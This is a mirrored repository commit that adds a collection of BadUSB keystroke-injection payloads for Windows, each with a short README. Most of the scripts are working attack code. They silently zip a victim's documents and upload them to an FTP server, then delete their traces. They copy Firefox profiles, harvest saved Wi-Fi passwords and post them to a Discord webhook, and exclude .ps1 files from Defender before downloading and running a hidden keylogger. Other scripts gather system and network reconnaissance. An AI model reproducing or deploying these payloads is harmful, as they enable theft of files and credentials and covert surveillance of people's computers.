mirror of
https://github.com/UberGuidoZ/Flipper.git
synced 2026-09-18 16:51:29 +00:00
Adding lost UNC0V3R3D BadUSB Collection
This commit is contained in:
UberGuidoZ
+114
@@ -0,0 +1,114 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Exfiltrate documents and upload them to a ftp server.
|
||||
REM Version: 1.0
|
||||
REM Category: Exfiltration
|
||||
DELAY 800
|
||||
GUI r
|
||||
DELAY 1000
|
||||
STRING powershell Start-Process notepad -Verb runAs
|
||||
ENTER
|
||||
DELAY 800
|
||||
ALT y
|
||||
DELAY 800
|
||||
ENTER
|
||||
ALT SPACE
|
||||
DELAY 1000
|
||||
STRING m
|
||||
DELAY 1000
|
||||
DOWNARROW
|
||||
REPEAT 100
|
||||
ENTER
|
||||
STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss')
|
||||
ENTER
|
||||
STRING $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime
|
||||
ENTER
|
||||
STRING $fileSaveDir = New-Item ($userDir) -ItemType Directory
|
||||
ENTER
|
||||
STRING $date = get-date
|
||||
ENTER
|
||||
STRING $style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>"
|
||||
ENTER
|
||||
STRING $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html'
|
||||
ENTER
|
||||
STRING $Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"
|
||||
ENTER
|
||||
STRING $Report = $Report + '<div id=center><h3>User Documents (doc,docx,pdf,rar)</h3>'
|
||||
ENTER
|
||||
STRING $Report = $Report + (Get-ChildItem -Path $userDir -Include *.doc, *.docx, *.pdf, *.zip, *.rar -Recurse |convertto-html Directory, Name, LastAccessTime)
|
||||
ENTER
|
||||
STRING $Report = $Report + '</div>'
|
||||
ENTER
|
||||
STRING $Report >> $fileSaveDir'/ComputerInfo.html'
|
||||
ENTER
|
||||
STRING function copy-ToZip($fileSaveDir){
|
||||
ENTER
|
||||
STRING $srcdir = $fileSaveDir
|
||||
ENTER
|
||||
STRING $zipFile = 'C:\Windows\Report.zip'
|
||||
ENTER
|
||||
STRING if(-not (test-path($zipFile))) {
|
||||
ENTER
|
||||
STRING set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
|
||||
ENTER
|
||||
STRING (dir $zipFile).IsReadOnly = $false}
|
||||
ENTER
|
||||
STRING $shellApplication = new-object -com shell.application
|
||||
ENTER
|
||||
STRING $zipPackage = $shellApplication.NameSpace($zipFile)
|
||||
ENTER
|
||||
STRING $files = Get-ChildItem -Path $srcdir
|
||||
ENTER
|
||||
STRING foreach($file in $files) {
|
||||
ENTER
|
||||
STRING $zipPackage.CopyHere($file.FullName)
|
||||
ENTER
|
||||
STRING while($zipPackage.Items().Item($file.name) -eq $null){
|
||||
ENTER
|
||||
STRING Start-sleep -seconds 1 }}}
|
||||
ENTER
|
||||
STRING copy-ToZip($fileSaveDir)
|
||||
ENTER
|
||||
STRING $final = 'C:\Windows\Report.zip'
|
||||
ENTER
|
||||
STRING $ftpAddr = "ftp://username:password@ftp.host.com/Report.zip"
|
||||
ENTER
|
||||
STRING $browser = New-Object System.Net.WebClient
|
||||
ENTER
|
||||
STRING $url = New-Object System.Uri($ftpAddr)
|
||||
ENTER
|
||||
STRING $browser.UploadFile($url, $final)
|
||||
ENTER
|
||||
STRING remove-item $fileSaveDir -recurse
|
||||
ENTER
|
||||
STRING remove-item 'C:\Windows\Report.zip'
|
||||
ENTER
|
||||
STRING Remove-Item $MyINvocation.InvocationName
|
||||
ENTER
|
||||
CTRL s
|
||||
DELAY 800
|
||||
STRING C:\Windows\config-58477.ps1
|
||||
ENTER
|
||||
DELAY 1000
|
||||
ALT F4
|
||||
DELAY 800
|
||||
GUI r
|
||||
DELAY 800
|
||||
STRING powershell Start-Process cmd -Verb runAs
|
||||
ENTER
|
||||
DELAY 800
|
||||
ALT y
|
||||
DELAY 1000
|
||||
STRING mode con:cols=14 lines=1
|
||||
ENTER
|
||||
ALT SPACE
|
||||
DELAY 800
|
||||
STRING m
|
||||
DELAY 1000
|
||||
DOWNARROW
|
||||
REPEAT 100
|
||||
ENTER
|
||||
STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false
|
||||
ENTER
|
||||
DELAY 800
|
||||
STRING powershell.exe -windowstyle hidden -File C:\Windows\config-58477.ps1
|
||||
ENTER
|
||||
+39
@@ -0,0 +1,39 @@
|
||||
|
||||
# Exfiltrate Documents
|
||||
This script will exfiltrate documents stored on the pc and upload them to a ftp server.
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You need to do the following changes:
|
||||
|
||||
- change the ftp server info right here "STRING $ftpAddr = "ftp://username:password@ftp.host.com/Report.zip"
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- exfiltrate documents
|
||||
- upload documents to ftp server
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Exfiltrate Firefox profile and store to path. Change destination Path at the very end of the string.
|
||||
REM Version: 1.0
|
||||
REM Category: Exfiltration
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 1500
|
||||
WINDOWS r
|
||||
DELAY 1500
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 750
|
||||
LEFTARROW
|
||||
ENTER
|
||||
DELAY 1200
|
||||
ALT y
|
||||
DELAY 1200
|
||||
GUI UP
|
||||
DELAY 1200
|
||||
STRING $ErrorActionPreference = "SilentlyContinue";$folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime;$fileSaveDir = New-Item ($userDir) -ItemType Directory;$date = get-date;$style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>";$Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo-26528702.html';$Report = $Report + "<div id=body><h1>Walkuer Ghost Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>";$fireSaveDir = New-Item $userDir'\WGD\FireFox-Profile' -ItemType Directory;$fireDir = (Get-ChildItem env:userprofile).value + '\AppData\Roaming\Mozilla\Firefox\Profiles';Copy-Item $fireDir -Destination $fireSaveDir -Recurse;Start-Sleep -s 10;$Report >> $fileSaveDir'/ComputerInfo-26528702.html';Compress-Archive -Path $fileSaveDir -DestinationPath PATH\results-26528702.zip ; exit
|
||||
ENTER
|
||||
@@ -0,0 +1,39 @@
|
||||
|
||||
# ExfilFirefox
|
||||
This script exfiltrates the firefox profile and saves them to a local html file.
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You need to do the following changes:
|
||||
|
||||
- change path of the file "-DestinationPath PATH\results-26528702.zip"
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- copy firefox profile
|
||||
- paste profile into a html file
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Saves some general Information about the target pc to a file.
|
||||
REM Version: 1.0
|
||||
REM Category: Exfiltration
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 900
|
||||
WINDOWS r
|
||||
DELAY 900
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 750
|
||||
LEFTARROW
|
||||
ENTER
|
||||
DELAY 900
|
||||
ALT y
|
||||
DELAY 900
|
||||
STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss'); $userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime; $fileSaveDir = New-Item ($userDir) -ItemType Directory; $date = get-date; $style = '<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>'; $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo-34231960.html'; $Report = $Report + "<div id=body><h1>Walkuer Ghost Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"; $SysBootTime = Get-WmiObject Win32_OperatingSystem; $BootTime = $SysBootTime.ConvertToDateTime($SysBootTime.LastBootUpTime)| ConvertTo-Html datetime; $SysSerialNo = (Get-WmiObject -Class Win32_OperatingSystem -ComputerName $env:COMPUTERNAME); $SerialNo = $SysSerialNo.SerialNumber; $SysInfo = Get-WmiObject -class Win32_ComputerSystem -namespace root/CIMV2 | Select Manufacturer,Model; $SysManufacturer = $SysInfo.Manufacturer; $SysModel = $SysInfo.Model; $OS = (Get-WmiObject Win32_OperatingSystem -computername $env:COMPUTERNAME ).caption; $disk = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'"; $HD = [math]::truncate($disk.Size / 1GB); $FreeSpace = [math]::truncate($disk.FreeSpace / 1GB); $SysRam = Get-WmiObject -Class Win32_OperatingSystem -computername $env:COMPUTERNAME | Select TotalVisibleMemorySize; $Ram = [Math]::Round($SysRam.TotalVisibleMemorySize/1024KB); $SysCpu = Get-WmiObject Win32_Processor | Select Name; $Cpu = $SysCpu.Name; $HardSerial = Get-WMIObject Win32_BIOS -Computer $env:COMPUTERNAME | select SerialNumber; $HardSerialNo = $HardSerial.SerialNumber; $SysCdDrive = Get-WmiObject Win32_CDROMDrive |select Name; $graphicsCard = gwmi win32_VideoController |select Name; $graphics = $graphicsCard.Name; $SysCdDrive = Get-WmiObject Win32_CDROMDrive |select -first 1; $DriveLetter = $CDDrive.Drive; $DriveName = $CDDrive.Caption; $Disk = $DriveLetter + '\' + $DriveName; $Firewall = New-Object -com HNetCfg.FwMgr; $FireProfile = $Firewall.LocalPolicy.CurrentProfile; $FireProfile = $FireProfile.FirewallEnabled; $Report = $Report + "<div id=left><h3>Computer Information</h3><br><table><tr><td>Operating System</td><td>$OS</td></tr><tr><td>OS Serial Number:</td><td>$SerialNo</td></tr><tr><td>Current User:</td><td>$env:USERNAME </td></tr><tr><td>System Uptime:</td><td>$BootTime</td></tr><tr><td>System Manufacturer:</td><td>$SysManufacturer</td></tr><tr><td>System Model:</td><td>$SysModel</td></tr><tr><td>Serial Number:</td><td>$HardSerialNo</td></tr><tr><td>Firewall is Active:</td><td>$FireProfile</td></tr></table></div><div id=right><h3>Hardware Information</h3><table><tr><td>Hardrive Size:</td><td>$HD GB</td></tr><tr><td>Hardrive Free Space:</td><td>$FreeSpace GB</td></tr><tr><td>System RAM:</td><td>$Ram GB</td></tr><tr><td>Processor:</td><td>$Cpu</td></tr><td>CD Drive:</td><td>$Disk</td></tr><tr><td>Graphics Card:</td><td>$graphics</td></tr></table></div>"; $Report >> $fileSaveDir'/ComputerInfo-34231960.html';Compress-Archive -Path $fileSaveDir -DestinationPath PATH TO SAVE FILE HERE\Gather_Informationresults-34231960.zip ; exit
|
||||
ENTER
|
||||
+39
@@ -0,0 +1,39 @@
|
||||
|
||||
# General_PC_Information
|
||||
This script saves some general info about the pc into a file.
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You need to do the following changes:
|
||||
|
||||
- change path of the file "-DestinationPath PATH TO SAVE FILE HERE\Gather_Informationresults-34231960.zip"
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- exfiltrate pc info
|
||||
- paste info to a html file
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+30
@@ -0,0 +1,30 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Simple Powershell script that stores alot of Info about the PC into a file. For more info read the comments (REM) in the code below.
|
||||
REM Version: 1.0
|
||||
REM Category: Exfiltration
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 450
|
||||
REM Start Powershell as Admin
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 600
|
||||
LEFTARROW
|
||||
DELAY 600
|
||||
ENTER
|
||||
DELAY 750
|
||||
REM Change the "Path" to your path ("C:\...").
|
||||
STRING $Path = "PATH"
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
REM Creates the Results.txt file to the path
|
||||
STRING New-Item -Path "$Path\Results.txt" -ItemType File
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 700
|
||||
REM Gets all the Info about the PC and stores them into the created Results.txt file
|
||||
STRING Get-ComputerInfo | Out-File -FilePath "$Path\Results.txt"
|
||||
DELAY 300
|
||||
ENTER
|
||||
+39
@@ -0,0 +1,39 @@
|
||||
|
||||
# GetAllComputerInfo
|
||||
This script saves almost every valuable info about the pc to a file.
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You need to do the following changes:
|
||||
|
||||
- change path of the file "STRING $Path = "PATH""
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- exfiltrate pc info
|
||||
- paste info to a html file
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
REM Author: Startrk1995
|
||||
REM Description: Saves the IP of the target pc to a discord webhook.
|
||||
REM Version: 1.0
|
||||
REM Category: Exfiltration
|
||||
DELAY 500
|
||||
GUI r
|
||||
DELAY 200
|
||||
STRING powershell
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING $url="DISCORD WEBHOOK LINK";dir env: >> stats.txt; Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\d+.\d+)' >> stats.txt;(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> stats.txt;$Body=@{ content = "$env:computername Stats from Ducky/Pico"};Invoke-RestMethod -ContentType 'Application/Json' -Uri $url -Method Post -Body ($Body | ConvertTo-Json);curl.exe -F "file1=@stats.txt" $url ; Remove-Item '.\stats.txt';exit
|
||||
ENTER
|
||||
+39
@@ -0,0 +1,39 @@
|
||||
|
||||
# IP_To_Discord
|
||||
Saves the IP of the target pc to a discord webhook.
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You need to do the following changes:
|
||||
|
||||
- change the url of the discord webhook "$url="DISCORD WEBHOOK LINK""
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- get ip adress
|
||||
- send file with ip to webhook
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+44
@@ -0,0 +1,44 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: This script allows you to inject a software keylogger in victim's PC
|
||||
REM Version: 1.0
|
||||
REM Category: Exfiltration
|
||||
DELAY 2500
|
||||
GUI d
|
||||
DELAY 500
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell.exe -windowstyle hidden
|
||||
DELAY 200
|
||||
CTRL SHIFT ENTER
|
||||
DELAY 5000
|
||||
LEFT
|
||||
DELAY 150
|
||||
ENTER
|
||||
DELAY 5000
|
||||
STRING cd C:\Users\Public\Documents
|
||||
ENTER
|
||||
STRING Add-MpPreference -ExclusionExtension ps1 -Force
|
||||
ENTER
|
||||
STRING Set-ExecutionPolicy unrestricted -Force
|
||||
ENTER
|
||||
STRING wget (LINK TO KEYLOGGER) -OutFile script.ps1
|
||||
ENTER
|
||||
DELAY 3500
|
||||
STRING powershell.exe -noexit -windowstyle hidden -file script.ps1
|
||||
ENTER
|
||||
CAPSLOCK
|
||||
DELAY 150
|
||||
CAPSLOCK
|
||||
DELAY 150
|
||||
CAPSLOCK
|
||||
DELAY 150
|
||||
CAPSLOCK
|
||||
DELAY 2000
|
||||
CAPSLOCK
|
||||
DELAY 150
|
||||
CAPSLOCK
|
||||
DELAY 150
|
||||
CAPSLOCK
|
||||
DELAY 150
|
||||
CAPSLOCK
|
||||
REM End of payload
|
||||
@@ -0,0 +1,39 @@
|
||||
|
||||
# Keylogger
|
||||
This script is only for experienced penetration testers.
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You need to do the following changes:
|
||||
|
||||
- change url to a .ps keylogger script "STRING wget (LINK TO KEYLOGGER)"
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- download .ps script
|
||||
- execute script
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Saves all installed windows updates to a list. Don't forget to change the path.
|
||||
REM Version: 1.0
|
||||
REM Category: Exfiltration
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 1500
|
||||
WINDOWS r
|
||||
DELAY 1500
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 750
|
||||
LEFTARROW
|
||||
ENTER
|
||||
DELAY 1200
|
||||
ALT y
|
||||
DELAY 1200
|
||||
GUI UP
|
||||
DELAY 1200
|
||||
STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime;$fileSaveDir = New-Item ($userDir) -ItemType Directory;$date = get-date;$style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>";$Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo-90412137.html';$Report = $Report + "<div id=body><h1>Walkuer Ghost Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>";$Report = $Report + '<div id=center><h3> Installed Updates</h3>';$Report = $Report + (Get-WmiObject Win32_QuickFixEngineering -ComputerName $env:COMPUTERNAME | sort-object -property installedon -Descending | ConvertTo-Html Description, HotFixId,Installedon,InstalledBy);$Report = $Report + '</div>';$Report >> $fileSaveDir'/ComputerInfo-90412137.html'
|
||||
ENTER
|
||||
STRING Compress-Archive -Path $fileSaveDir -DestinationPath results-90412137.zip ; exit
|
||||
ENTER
|
||||
+39
@@ -0,0 +1,39 @@
|
||||
|
||||
# ListWindowsUpdates
|
||||
This script is going to save the names of installed windows updates.
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You need to do the following changes:
|
||||
|
||||
- change path for the file "-DestinationPath results-90412137.zip"
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- list windows updates
|
||||
- store them into a file
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+164
@@ -0,0 +1,164 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Exfiltrate network.
|
||||
REM Version: 1.0
|
||||
REM Category: Exfiltration
|
||||
DELAY 800
|
||||
GUI r
|
||||
DELAY 1000
|
||||
STRING powershell Start-Process notepad -Verb runAs
|
||||
ENTER
|
||||
DELAY 800
|
||||
ALT y
|
||||
DELAY 800
|
||||
ENTER
|
||||
ALT SPACE
|
||||
DELAY 1000
|
||||
STRING m
|
||||
DELAY 1000
|
||||
DOWNARROW
|
||||
REPEAT 100
|
||||
ENTER
|
||||
STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss')
|
||||
ENTER
|
||||
STRING $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime
|
||||
ENTER
|
||||
STRING $fileSaveDir = New-Item ($userDir) -ItemType Directory
|
||||
ENTER
|
||||
STRING $date = get-date
|
||||
ENTER
|
||||
STRING $style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>"
|
||||
ENTER
|
||||
STRING $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html'
|
||||
ENTER
|
||||
STRING $Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"
|
||||
ENTER
|
||||
STRING $Report = $Report + '<div id=center><h3>User Documents (doc,docx,pdf,rar)</h3>'
|
||||
ENTER
|
||||
STRING $Report = $Report + (Get-ChildItem -Path $userDir -Include *.doc, *.docx, *.pdf, *.zip, *.rar -Recurse |convertto-html Directory, Name, LastAccessTime)
|
||||
ENTER
|
||||
STRING $Report = $Report + '</div>'
|
||||
ENTER
|
||||
STRING $Report >> $fileSaveDir'/ComputerInfo.html'
|
||||
ENTER
|
||||
STRING function copy-ToZip($fileSaveDir){
|
||||
ENTER
|
||||
STRING $srcdir = $fileSaveDir
|
||||
ENTER
|
||||
STRING $zipFile = 'C:\Windows\Report.zip'
|
||||
ENTER
|
||||
STRING if(-not (test-path($zipFile))) {
|
||||
ENTER
|
||||
STRING set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
|
||||
ENTER
|
||||
STRING (dir $zipFile).IsReadOnly = $false}
|
||||
ENTER
|
||||
STRING $shellApplication = new-object -com shell.application
|
||||
ENTER
|
||||
STRING $zipPackage = $shellApplication.NameSpace($zipFile)
|
||||
ENTER
|
||||
STRING $files = Get-ChildItem -Path $srcdir
|
||||
ENTER
|
||||
STRING foreach($file in $files) {
|
||||
ENTER
|
||||
STRING $zipPackage.CopyHere($file.FullName)
|
||||
ENTER
|
||||
STRING while($zipPackage.Items().Item($file.name) -eq $null){
|
||||
ENTER
|
||||
STRING Start-sleep -seconds 1 }}}
|
||||
ENTER
|
||||
STRING copy-ToZip($fileSaveDir)
|
||||
ENTER
|
||||
STRING $final = 'C:\Windows\Report.zip'
|
||||
ENTER
|
||||
STRING $ftpAddr = "ftp://username:password@ftp.host.com/Report.zip"
|
||||
ENTER
|
||||
STRING $browser = New-Object System.Net.WebClient
|
||||
ENTER
|
||||
STRING $url = New-Object System.Uri($ftpAddr)
|
||||
ENTER
|
||||
STRING $browser.UploadFile($url, $final)
|
||||
ENTER
|
||||
STRING remove-item $fileSaveDir -recurse
|
||||
ENTER
|
||||
STRING remove-item 'C:\Windows\Report.zip'
|
||||
ENTER
|
||||
STRING Remove-Item $MyINvocation.InvocationName
|
||||
ENTER
|
||||
CTRL s
|
||||
DELAY 800
|
||||
STRING C:\Windows\config-49197.ps1
|
||||
ENTER
|
||||
DELAY 1000
|
||||
ALT F4
|
||||
DELAY 800
|
||||
GUI r
|
||||
DELAY 800
|
||||
STRING powershell Start-Process cmd -Verb runAs
|
||||
ENTER
|
||||
DELAY 800
|
||||
ALT y
|
||||
DELAY 1000
|
||||
STRING mode con:cols=14 lines=1
|
||||
ENTER
|
||||
ALT SPACE
|
||||
DELAY 800
|
||||
STRING m
|
||||
DELAY 1000
|
||||
DOWNARROW
|
||||
REPEAT 100
|
||||
ENTER
|
||||
STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false
|
||||
ENTER
|
||||
DELAY 800
|
||||
STRING powershell.exe -windowstyle hidden -File C:\Windows\config-49197.ps1
|
||||
ENTER
|
||||
STRING $IP = Get-WmiObject Win32_NetworkAdapterConfiguration -Filter 'IPEnabled = True' | Select IPAddress -First 1
|
||||
ENTER
|
||||
STRING $IPAddr = $IP.IPAddress | Select-Object -Index 0
|
||||
ENTER
|
||||
STRING $IPAddr -as [String]
|
||||
ENTER
|
||||
STRING $IPa = $IPAddr.Split('.') | Select -Index 0
|
||||
ENTER
|
||||
STRING $IPb = $IPAddr.Split('.') | Select -Index 1
|
||||
ENTER
|
||||
STRING $IPc = $IPAddr.Split('.') | Select -Index 2
|
||||
ENTER
|
||||
STRING $IPAddr = $IPa + '.' + $IPb + '.' + $IPc + '.'
|
||||
ENTER
|
||||
STRING $Ping = new-object System.Net.Networkinformation.Ping
|
||||
ENTER
|
||||
STRING $ScanResults = 1-225..1-225 | ForEach-Object {($Ping).Send($IpAddr + $_) } | Where-Object {$_.Status -eq 'Success'} | select Address
|
||||
ENTER
|
||||
STRING $x = 0
|
||||
ENTER
|
||||
STRING $Report = $Report + '<div id=center><h3>Network Scan Results</h3><table>'
|
||||
ENTER
|
||||
STRING do {
|
||||
ENTER
|
||||
STRING $IPResults = $ScanResults | Select-Object -Index $x
|
||||
ENTER
|
||||
STRING $CompInfo = Get-WmiObject Win32_OperatingSystem -Computer $IPResults.Address | Select RegisteredUser, SystemDirectory
|
||||
ENTER
|
||||
STRING $CompName = (Get-WmiObject Win32_OperatingSystem -Computer $IPResults.Address).csname
|
||||
ENTER
|
||||
STRING $CurrIP = $IPResults.Address.IPAddressToString
|
||||
ENTER
|
||||
STRING $CurrOS = $CompInfo.SystemDirectory
|
||||
ENTER
|
||||
